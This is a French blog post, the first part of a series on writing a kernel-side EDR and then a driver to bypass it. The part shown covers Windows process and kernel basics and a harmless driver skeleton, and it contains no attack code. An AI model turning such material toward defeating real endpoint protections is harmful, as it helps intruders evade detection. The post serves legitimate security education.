https://beta.hackndo.com/blockchain/BlockchainEcrire et contourner un EDR côté noyau - Partie 1 : Kernel & Drivers<p>Dans cette série d’articles nous allons un peu changer de sujet (Active Directory) pour nous intéresser aux EDR. Plus particulièrement, nous allons nous intéresser au fonctionnement des EDR côté noyau. Avant de rentrer dans le vif du sujet, quelques notions sur l’architecture Windows vont être rappelées avant d’évoquer le fonctionnement d’un EDR côté utilisateur (User-Land), puis de descendre dans le noyau (Kernel-Land). Nous expliquerons alors comment ces deux mondes communiquent, puis nous détaillerons les structures manipulées du côté noyau dans le but d’expliquer le fonctionnement d’un pilote, ou <em>driver</em>. Tous ces éléments nous permettront alors d’écrire notre premier <em>driver</em>, pour ensuite l’enrichir et le transformer en EDR avec lequel on peut communiquer depuis le User-Land. Nous finirons en écrivant un autre <em>driver</em> qui aura pour but de contourner les protections que nous avons mises en places.</p>
<p>Sacré programme, n’est-ce pas ? Buckle up, et c’est parti.</p>
<!--more-->
<h2 id="préambule">Préambule</h2>
<p>Alors que je me suis enfin plongé dans ces recherches, je suis tombé sur le livre <a href="https://www.amazon.fr/Windows-Kernel-Programming-Pavel-Yosifovich/dp/1977593372">Windows Kernel Programming</a> de Pavel Yosifovich. Ce livre est une vraie mine d’or, et la majorité de ce que j’ai compris (ou de ce que je pense comprendre) vient de ce livre. Cette série d’articles sera donc en grande partie basée sur les connaissances que j’ai acquises en lisant ce livre. Je remercie donc vivement l’auteur, Pavel Yosifovich, pour ce contenu d’une très grande qualité.</p>
<p>Je tiens également à citer ces ressources très intéressantes qui m’ont permis d’apercevoir le fonctionnement des drivers. L’excellent article <a href="http://blog.deniable.org/posts/windows-callbacks/">Windows Kernel Ps Callbacks Experiments</a>, l’article <a href="https://v1k1ngfr.github.io/pimp-my-pid/">Pimp my PID - get SYSTEM using Windows kernel</a> de <a href="https://twitter.com/vikingfr">Viking</a>, ou encore <a href="https://blog.nviso.eu/2021/10/21/kernel-karnage-part-1/">Kernel Karnage – Part 1</a>. Chacun de ces articles m’a apporté son lot de connaissances et de compréhension.</p>
<p>Pour autant, et c’est un peu la raison d’être de mon blog, je veux également me prêter à l’exercice pour mettre de l’ordre dans tout ce bazar qui se bouscule dans ma tête.</p>
<h2 id="objectifs">Objectifs</h2>
<p>Cette série d’articles aura plusieurs objectifs. La méthodologie pour les atteindre va être de zoomer de plus en plus sur les parties d’un système d’exploitation qui nous intéressent pour les deux objectifs finaux, à savoir écrire un micro-EDR qui va fonctionner niveau noyau, et écrire un driver qui aura pour but de contourner cet EDR.</p>
<h2 id="espaces-utilisateur-et-noyau">Espaces utilisateur et noyau</h2>
<p>Pour atteindre ces objectifs, nous allons alors passer par plusieurs étapes. Nous commencerons avec une vision très macro du fonctionnement d’un système d’exploitation. Cette étape peut s’appliquer à Linux et Windows, et nous permettra d’avoir la <em>global picture</em>. Nous allons tenter de comprendre les notions d’espace utilisateur, d’espace noyau (<em>User-Land</em> et <em>Kernel-Land</em>), et les interactions entre ces deux espaces.</p>
<h3 id="processus">Processus</h3>
<p>Tout d’abord abordons la notion de <strong>processus</strong>. Un processus c’est un peu l’enveloppe d’un programme qui est en cours d’exécution. Dès qu’un programme est lancé, un processus est créé, et est propre à l’instance du programme lancé. On trouvera dans un processus un ou plusieurs <strong>threads</strong>, qui sont les éléments qui vont vraiment exécuter le code. Il y a également un espace d’adressage virtuel qui représente la mémoire physique (RAM) de l’ordinateur. Ainsi, si une machine a 16Go de RAM, chaque processus contiendra 16Go de RAM dite virtuelle. Du point de vue du processus, il y a bien 16Go de RAM accessible. Dans un processus, nous pouvons également trouver un jeton, ou <em>token</em>, qui est un objet représentant le contexte de sécurité dans lequel se trouve le processus (qui a lancé le processus, les droits et privilèges de ce processus, etc.), et bien entendu le programme qui est exécuté.</p>
<p><a href="/assets/uploads/2021/10/processus_schema.png"><img src="/assets/uploads/2021/10/processus_schema.png" alt="Processus" /></a></p>
<h3 id="mémoire-virtuelle">Mémoire virtuelle</h3>
<p>Nous avons déjà parlé de la <a href="https://beta.hackndo.com/memory-allocation/#m%C3%A9moire-virtuelle">mémoire virtuelle</a> dans un précédent article, donc nous ne détaillerons pas la couche d’abstraction entre la mémoire virtuelle et la mémoire physique. Rappelons cependant que bien que tous les processus partagent la même mémoire physique, ils n’ont pour autant accès qu’à leur propre mémoire virtuelle. Du point de vue de chaque processus, l’ensemble de la mémoire lui est dédiée, et les autres processus n’existent pas. Pour que cela fonctionne, une table de pages est située entre la mémoire virtuelle de chaque processus et la mémoire physique. C’est grâce à elle que chaque processus pense avoir accès à toute la mémoire physique.</p>
<p><a href="/assets/uploads/2015/01/img_54b50ce3eda87.png"><img src="/assets/uploads/2015/01/img_54b50ce3eda87.png" alt="Virtual memory" /></a></p>
<p>Sauf que pour correctement fonctionner, les processus ont différents besoins comme un accès au matériel physique (clavier, souris, carte graphique), des accès à des fichiers, et ces processus ont surtout besoin d’un chef d’orchestre pour décider quel thread a le droit d’exécuter des instructions à quel moment.</p>
<p>Et bien le code qui régit tout ça se trouve dans un espace particulier, le noyau, ou <em>kernel</em>. C’est la couche qui gère justement tous ces besoins bas niveaux, et qui est commune à tous les processus. En effet, que ce soit notepad.exe ou sublime.exe qui essaie d’accéder en lecture et écriture à un fichier, le code correspondant restera le même. Le kernel, c’est en fait un peu comme un gros ensemble de bibliothèques que les processus peuvent (indirectement) utiliser pour ne pas avoir à réinventer la roue, et pour s’abstraire de beaucoup de complexité. On est content de pouvoir développer un programme une seule fois, quelle que soit la marque du disque dur, ou de la carte graphique, pour afficher une fenêtre. Non ?</p>
<p>Pour que ce partage de code soit possible, dans la mémoire virtuelle de chaque processus, il y a une zone mémoire réservée au kernel.</p>
<p><a href="/assets/uploads/2021/10/processus_kernel_memory.png"><img src="/assets/uploads/2021/10/processus_kernel_memory.png" alt="Processus kernel memory" /></a></p>
<p>Tout ce code est extrêmement critique puisqu’il régit le fonctionnement d’un système d’exploitation, et donc n’est pas accessible directement par les applications.</p>
<p>C’est pourquoi les communications entre la zone utilisateur et la zone noyau sont très codifiées, et utilisent un principe d’appels systèmes pour interagir.</p>
<h3 id="appels-système">Appels système</h3>
<p>Le noyau propose aux applications beaucoup de fonctionnalités, un peu à la manière d’une API. Pour chacune de ces fonctionnalités, un identifiant est associé. Du côté du noyau, il y a une table qui fait la correspondance entre un numéro et la fonctionnalité associée. Cette table est appelée la SSDT (<em>System Service Dispatch Table</em>). Lorsqu’une instruction précise est envoyée par une application, appelée <strong>syscall</strong>, le noyau comprend qu’une action de sa part est attendue. Le noyau (ou plus exactement le <em>System Service Dispatcher</em>) va alors regarder le numéro du syscall qui a été envoyé par l’application, et va donner le relais à la fonction associée à ce numéro dans la SSDT. C’est alors au tour de la fonction côté noyau d’exécuter des actions, et de retourner une valeur à l’application.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Nous avons brièvement expliqué ce qu’était un processus, et comment le code de l’exécutable associé au processus peut communiquer avec le kernel pour effectuer des actions bas niveau. Cependant, nous comprenons bien que l’exécutable ne peut pas directement exécuter du code côté noyau, et c’est tant mieux. Il ne peut que demander d’utiliser telle ou telle fonctionnalité que le noyau veut bien exposer.</p>
<p>Si des processus pouvaient exécuter du code côté kernel, une petite erreur dans le code pourrait avoir des conséquences désastreuses. De la mémoire critique ou du code nécessaire au bon fonctionnement du système d’exploitation pourrait être écrasé. D’ailleurs, une erreur dans le code exécuté côté kernel entraînera quasi-systématiquement un plantage pur et simple du système d’exploitation, avec ce bel écran que nous connaissons tous, le <strong>Blue Screen Of Death</strong>, ou BSOD (qui n’a/est pas toujours bleu, d’ailleurs).</p>
<p><a href="/assets/uploads/2021/10/bsod.png"><img src="/assets/uploads/2021/10/bsod.png" alt="BOSD" /></a></p>
<h2 id="les-drivers">Les drivers</h2>
<p>Il existe cependant beaucoup de raisons pour lesquelles il est important de pouvoir exécuter du code côté kernel. Un exemple évident concerne les constructeurs de périphériques. Pour que des applications puissent avoir accès à leurs périphériques, il est nécessaire que les constructeurs développent du code qui sera enregistré dans le noyau et qui permettra aux applications de profiter des fonctionnalités du périphérique sans pour autant connaître ou comprendre le fonctionnement physique du matériel.</p>
<p>D’autres besoins peuvent exister, dont un qui nous intéresse particulièrement, c’est le besoin qu’on les EDR (<em>Endpoint Detection and Response</em>) de surveiller tout ce qu’il se passe sur le système, et de pouvoir agir si nécessaire, sans que les applications ne soient en mesure de les arrêter. Trop facile sinon.</p>
<p>Il existe beaucoup de moyens de surveiller et gérer les applications du côté utilisateur, et l’article <a href="https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/">A tale of EDR bypass methods</a> de <a href="https://twitter.com/ShitSecure">S3cur3Th1sSh1t</a> décrit une grande partie de ces techniques, et dresse un état de l’art des contournement existant. On comprend assez rapidement que ce qu’implémentent les EDR du côté utilisateur se contourne souvent facilement.</p>
<p>Cependant, il existe moins de documentation sur les techniques utilisées par les EDR côté kernel pour surveiller ce qu’il se passe sur une machine, et contourner ces mesures est moins évident que du côté espace utilisateur.</p>
<p>Pour pouvoir exécuter du code du côté du noyau, nous allons nous intéresser au fonctionnement d’un pilote, ou <em>driver</em>. Un <em>driver</em> est un programme qui va, justement, être exécuté dans l’espace kernel. Lessgo.</p>
<h2 id="structure-dun-driver">Structure d’un driver</h2>
<p>Pour pouvoir écrire un driver, il faut comprendre comment celui-ci est structuré. Tout d’abord, un driver possède un point d’entrée. C’est la fonction qui va être appelée lorsque ce driver sera exécuté dans le noyau. De la même manière qu’en C, un exécutable doit avoir une fonction <code class="language-plaintext highlighter-rouge">main</code>, ou une DLL doit avoir <code class="language-plaintext highlighter-rouge">DLLMain</code>, un driver doit avoir une fonction <code class="language-plaintext highlighter-rouge">DriverEntry</code>. Cette fonction doit renvoyer un numéro indiquant si tout s’est bien passé ou non. Ce numéro est de type <code class="language-plaintext highlighter-rouge">NTSTATUS</code>. Cette fonction prend également deux arguments, le premier est un pointeur vers un objet driver <code class="language-plaintext highlighter-rouge">DriverObject</code>, et le deuxième une chaîne de caractères <code class="language-plaintext highlighter-rouge">RegistryPath</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf"><ntddk.h></span><span class="cp">
</span>
<span class="n">NTSTATUS</span> <span class="nf">DriverEntry</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PUNICODE_STRING</span> <span class="n">RegistryPath</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>L’objet driver <code class="language-plaintext highlighter-rouge">DriverObject</code> est en fait une structure qui est en partie initialisée par le noyau avant d’appeler le driver en question. C’est une structure que le driver lui-même va compléter, et qui va notamment servir à indiquer quelles sont les fonctionnalités offertes par ce driver et où se trouvent les fonctions associées à ces fonctionnalités.</p>
<p>Cet objet doit être également complété en indiquant où se trouve la fonction qui sera appelée quand le driver sera supprimé (<em>Unload</em>). Cette fonction est super importante puisqu’elle permettra de nettoyer tout ce qui doit l’être lorsque le driver est arrêté. Autant quand un processus utilisateur est arrêté, le noyau peut nettoyer derrière lui et éviter les fuites mémoire, autant quand c’est dans le noyau qu’on a des fuites mémoire, elles seront là jusqu’au prochain redémarrage. C’est donc important de correctement gérer sa mémoire, et de la libérer dans sa fonction d’unload.</p>
<p>Pour déclarer où se trouve la fonction d’unload, il suffit de l’indiquer dans la structure DriverObject reçue en paramètre de DriverEntry.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf"><ntddk.h></span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">EDRUnload</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">)</span> <span class="p">{</span>
<span class="p">}</span>
<span class="n">NTSTATUS</span> <span class="nf">DriverEntry</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PUNICODE_STRING</span> <span class="n">RegistryPath</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* On indique que la fonction EDRUnload est la fonction à appeler lorsque le driver est arrêté */</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">DriverUnload</span> <span class="o">=</span> <span class="n">EDRUnload</span><span class="p">;</span>
<span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Simple n’est-ce pas ? Dès qu’on allouera des ressources, il faudra penser à les libérer, potentiellement dans cette nouvelle fonction <code class="language-plaintext highlighter-rouge">EDRUnload</code> que nous venons de définir.</p>
<p>Outre la gestion de l’arrêt du driver, des fonctionnalités peuvent être définies par l’objet DriverObject. Il y a par exemple le fait qu’une application puisse effectuer des opérations de lecture avec ce driver. C’est par exemple ce que fait Process Explorer quand il ne fait que lire les processus en cours d’exécution. Ce sont des informations collectées par le driver, et renvoyées à l’application. Il existe également des opérations d’écriture, ou des actions plus génériques que nous verrons plus tard.</p>
<p>Ces fonctionnalités s’appellent des <em>Dispatch Routines</em>. C’est un tableau de pointeurs de fonctions dont les index sont <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/ifs-reference">décris sur le site de Microsoft</a>. Nous parlions de fonctionnalité de lecture, correspondant à l’index <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/irp-mj-read">IRP_MJ_READ</a>, ou écriture <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/irp-mj-write">IRP_MJ_WRITE</a>, mais il y en a d’autres. Voici un tableau permettant d’avoir un aperçu des plus communes.</p>
<table>
<thead>
<tr>
<th style="text-align: left">Index</th>
<th style="text-align: left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left">IRP_MJ_CREATE</td>
<td style="text-align: left">Opération de création ou d’ouverture</td>
</tr>
<tr>
<td style="text-align: left">IRP_MJ_CLOSE</td>
<td style="text-align: left">Opération de fermeture</td>
</tr>
<tr>
<td style="text-align: left">IRP_MJ_READ</td>
<td style="text-align: left">Opération de lecture</td>
</tr>
<tr>
<td style="text-align: left">IRP_MJ_WRITE</td>
<td style="text-align: left">Opération d’écriture</td>
</tr>
<tr>
<td style="text-align: left">IRP_MJ_DEVICE_CONTROL</td>
<td style="text-align: left">Appels de codes de contrôle</td>
</tr>
</tbody>
</table>
<p>Ce tableau se situe dans le membre <code class="language-plaintext highlighter-rouge">MajorFunction</code> de l’objet driver. Ainsi, si nous souhaitons pouvoir interagir avec le driver depuis une application utilisateur, il faudra à minima implémenter la fonction associée à <code class="language-plaintext highlighter-rouge">IRP_MJ_CREATE</code> pour ouvrir le driver, <code class="language-plaintext highlighter-rouge">IRP_MJ_CLOSE</code> pour le fermer, et <code class="language-plaintext highlighter-rouge">IRP_MJ_READ</code>, <code class="language-plaintext highlighter-rouge">IRP_MJ_WRITE</code> et/ou <code class="language-plaintext highlighter-rouge">IRP_MJ_DEVICE_CONTROL</code>. Nous verrons un peu plus tard à quoi correspondent ces codes de contrôle. Commençons par les deux premières permettant d’accéder au driver.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf"><ntddk.h></span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">EDRUnload</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">);</span>
<span class="n">NTSTATUS</span> <span class="nf">EDRCreateClose</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PIRP</span> <span class="n">Irp</span><span class="p">);</span>
<span class="n">NTSTATUS</span> <span class="nf">DriverEntry</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PUNICODE_STRING</span> <span class="n">RegistryPath</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* On indique que la fonction EDRUnload est la fonction à appeler lorsque le driver est arrêté */</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">DriverUnload</span> <span class="o">=</span> <span class="n">EDRUnload</span><span class="p">;</span>
<span class="cm">/* Déclaration des méthodes appelées lors d'une demande d'ouverture et de fermeture du driver */</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">IRP_MJ_CREATE</span><span class="p">]</span> <span class="o">=</span> <span class="n">EDRCreateClose</span><span class="p">;</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">IRP_MJ_CLOSE</span><span class="p">]</span> <span class="o">=</span> <span class="n">EDRCreateClose</span><span class="p">;</span>
<span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">EDRUnload</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">)</span> <span class="p">{</span>
<span class="p">}</span>
<span class="n">NTSTATUS</span> <span class="nf">EDRCreateClose</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PIRP</span> <span class="n">Irp</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* Des actions sont à prendre ici pour valider l'ouverture ou la fermeture du driver */</span>
<span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Vous pouvez constater que la même fonction a été utilisée pour les deux opérations. En effet, dans la plupart des cas, cette fonction permet seulement de valider l’ouverture ou la fermeture du driver, et on n’a pas besoin d’y ajouter plus de logique. Des tests pourraient être faits pour s’assurer que c’est tel ou tel utilisateur qui effectue cette ouverture, mais pour simplifier nous utiliserons cette fonction commune pour toujours valider les demandes.</p>
<p>Nous pouvons ensuite ajouter une fonction associée à <code class="language-plaintext highlighter-rouge">IRP_MJ_DEVICE_CONTROL</code>. Cette fonctionnalité est très pratique puisqu’elle permet au client applicatif et au driver de communiquer au travers de codes de contrôle. Pour simplifier, le client peut envoyer un code <code class="language-plaintext highlighter-rouge">LIST</code>, <code class="language-plaintext highlighter-rouge">ADD</code>, ou <code class="language-plaintext highlighter-rouge">CLEAN</code> par exemple, et du côté du driver, il y aura une condition qui testera ce code de contrôle. En fonction de sa valeur, telle ou telle action sera prise.</p>
<p>Pour déclarer cette fonction, pas de surprise.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf"><ntddk.h></span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">EDRUnload</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">);</span>
<span class="n">NTSTATUS</span> <span class="nf">EDRCreateClose</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PIRP</span> <span class="n">Irp</span><span class="p">);</span>
<span class="n">NTSTATUS</span> <span class="nf">EDRDeviceControl</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PIRP</span> <span class="n">Irp</span><span class="p">);</span>
<span class="n">NTSTATUS</span> <span class="nf">DriverEntry</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PUNICODE_STRING</span> <span class="n">RegistryPath</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* Déclaration de la méthode appelée lors de la fermeture du driver */</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">DriverUnload</span> <span class="o">=</span> <span class="n">EDRUnload</span><span class="p">;</span>
<span class="cm">/* Déclaration des méthodes appelées lors d'une demande d'ouverture et de fermeture du driver */</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">IRP_MJ_CREATE</span><span class="p">]</span> <span class="o">=</span> <span class="n">EDRCreateClose</span><span class="p">;</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">IRP_MJ_CLOSE</span><span class="p">]</span> <span class="o">=</span> <span class="n">EDRCreateClose</span><span class="p">;</span>
<span class="cm">/* Déclaration de la méthode qui gérera les codes de contrôle */</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">IRP_MJ_DEVICE_CONTROL</span><span class="p">]</span> <span class="o">=</span> <span class="n">EDRDeviceControl</span><span class="p">;</span>
<span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">EDRUnload</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">)</span> <span class="p">{</span>
<span class="p">}</span>
<span class="n">NTSTATUS</span> <span class="nf">EDRCreateClose</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PIRP</span> <span class="n">Irp</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* Des actions sont à prendre ici pour valider l'ouverture ou la fermeture du driver */</span>
<span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">NTSTATUS</span> <span class="nf">EDRDeviceControl</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PIRP</span> <span class="n">Irp</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* Une logique peut être implémentée ici pour traiter des requêtes d'applications */</span>
<span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Nous avançons sur la structure d’un driver, mais ça serait pas mal de le compiler et de le tester, n’est-ce pas ?</p>
<p>En l’état, ça ne fonctionnera pas, et en plus, rien ne sera visible. Donc avant de passer à une première compilation, ajoutons quelques informations de debug avec la fonction <code class="language-plaintext highlighter-rouge">KdPrint</code> (une macro, pour être plus exact). Cette fonction s’utilise de la manière suivante :</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">KdPrint</span><span class="p">((</span><span class="s">"Voici un message !</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
</code></pre></div></div>
<p>On notera le double jeu de parenthèses, du fait que ce soit une macro et non une fonction.</p>
<p>En utilisant l’utilitaire <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/debugview">DbgView</a> de la suite <a href="https://docs.microsoft.com/en-us/sysinternals/">Sysinternals</a>, nous pourrons lire les messages de debug que nous aurons placé dans notre code.</p>
<h2 id="première-compilation">Première compilation</h2>
<p>Pour pouvoir compiler ce projet, il faut installer Visual Studio, le SDK Windows 10 (avec les outils de débogage), et le <strong>Windows 10 Driver Kit</strong>, à installer en dernier pour qu’il installe correctement l’extension dans Visual Studio. Il y a peut-être d’autres manières de le faire, mais personnellement dans cet ordre ça a bien marché.</p>
<p>Il convient alors de créer un projet Visual Studio de type <strong>Empty WDM Driver</strong>.</p>
<p><a href="/assets/uploads/2021/10/project_wdm.png"><img src="/assets/uploads/2021/10/project_wdm.png" alt="WDM Project creation" /></a></p>
<p>Un fichier <strong>EDR.inf</strong> a été généré lors de la création de ce projet, mais nous n’en avons pas besoin donc nous pouvons le supprimer.</p>
<p><a href="/assets/uploads/2021/10/project_remove_inf.png"><img src="/assets/uploads/2021/10/project_remove_inf.png" alt="Remove .inf file" /></a></p>
<p>Ensuite, vous pouvez créer un fichier source, par exemple <strong>Edr.cpp</strong> dans le dossier <strong>Sources</strong>.</p>
<p><a href="/assets/uploads/2021/10/project_add_class.png"><img src="/assets/uploads/2021/10/project_add_class.png" alt="Source file creation" /></a></p>
<p>Vous pourrez alors copier le squelette de driver que nous avons créé jusqu’ici. Notez cependant que le projet ne compilera pas dans cet état. En effet, lorsqu’on compile un driver, le compilateur renverra des erreurs lorsque certains avertissements sont rencontrés. Un exemple d’avertissement considéré comme une erreur est celui indiquant qu’une variable n’est pas utilisée. Pour éviter cette erreur, la macro <code class="language-plaintext highlighter-rouge">UNREFERENCED_PARAMETER</code> peut être utilisée pour indiquer qu’on sait que ce paramètre existe, mais qu’on ne va pas l’utiliser.</p>
<p>Par ailleurs, la fonction <code class="language-plaintext highlighter-rouge">DriverEntry</code> doit être exportée lors de la compilation sans que son nom ne soit modifié. Or C++ permet la surcharge de méthodes, et renomme les méthodes avec différentes informations pour gérer ces surcharges. Pour éviter ce comportement, l’instruction <code class="language-plaintext highlighter-rouge">extern "C"</code> doit être ajoutée juste avant la fonction <code class="language-plaintext highlighter-rouge">DriverEntry</code>.</p>
<p>Enfin, ajoutons quelques informations de debug avec la fonction <code class="language-plaintext highlighter-rouge">KdPrint</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf"><ntddk.h></span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">EDRUnload</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">);</span>
<span class="n">NTSTATUS</span> <span class="nf">EDRCreateClose</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PIRP</span> <span class="n">Irp</span><span class="p">);</span>
<span class="n">NTSTATUS</span> <span class="nf">EDRDeviceControl</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PIRP</span> <span class="n">Irp</span><span class="p">);</span>
<span class="k">extern</span> <span class="s">"C"</span>
<span class="n">NTSTATUS</span> <span class="nf">DriverEntry</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PUNICODE_STRING</span> <span class="n">RegistryPath</span><span class="p">)</span> <span class="p">{</span>
<span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">RegistryPath</span><span class="p">);</span>
<span class="n">KdPrint</span><span class="p">((</span><span class="s">"Le driver a été démarré</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
<span class="cm">/* Déclaration de la méthode appelée lors de la fermeture du driver */</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">DriverUnload</span> <span class="o">=</span> <span class="n">EDRUnload</span><span class="p">;</span>
<span class="cm">/* Déclaration des méthodes appelées lors d'une demande d'ouverture et de fermeture du driver */</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">IRP_MJ_CREATE</span><span class="p">]</span> <span class="o">=</span> <span class="n">EDRCreateClose</span><span class="p">;</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">IRP_MJ_CLOSE</span><span class="p">]</span> <span class="o">=</span> <span class="n">EDRCreateClose</span><span class="p">;</span>
<span class="n">DriverObject</span><span class="o">-></span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">IRP_MJ_DEVICE_CONTROL</span><span class="p">]</span> <span class="o">=</span> <span class="n">EDRDeviceControl</span><span class="p">;</span>
<span class="n">KdPrint</span><span class="p">((</span><span class="s">"Le driver a été correctement initialisé</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
<span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">EDRUnload</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">)</span> <span class="p">{</span>
<span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">DriverObject</span><span class="p">);</span>
<span class="n">KdPrint</span><span class="p">((</span><span class="s">"Le driver a été arrêté</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
<span class="p">}</span>
<span class="n">NTSTATUS</span> <span class="nf">EDRCreateClose</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PIRP</span> <span class="n">Irp</span><span class="p">)</span> <span class="p">{</span>
<span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">DeviceObject</span><span class="p">);</span>
<span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">Irp</span><span class="p">);</span>
<span class="n">KdPrint</span><span class="p">((</span><span class="s">"Le driver a été ouvert ou fermé</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
<span class="cm">/* Des actions sont à prendre ici pour valider l'ouverture ou la fermeture du driver */</span>
<span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
